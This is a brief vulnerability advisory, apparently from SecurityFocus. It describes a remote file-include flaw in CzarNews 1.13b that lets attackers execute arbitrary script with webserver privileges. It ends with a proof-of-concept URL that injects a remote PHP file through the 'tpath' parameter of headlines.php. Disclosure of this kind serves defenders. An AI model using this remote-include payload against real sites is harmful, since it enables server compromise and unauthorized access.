source: https://www.securityfocus.com/bid/12857/info CzarNews is prone to a remote file-include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access. CzarNews 1.13b is reported vulnerable; other versions may be affected as well. http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php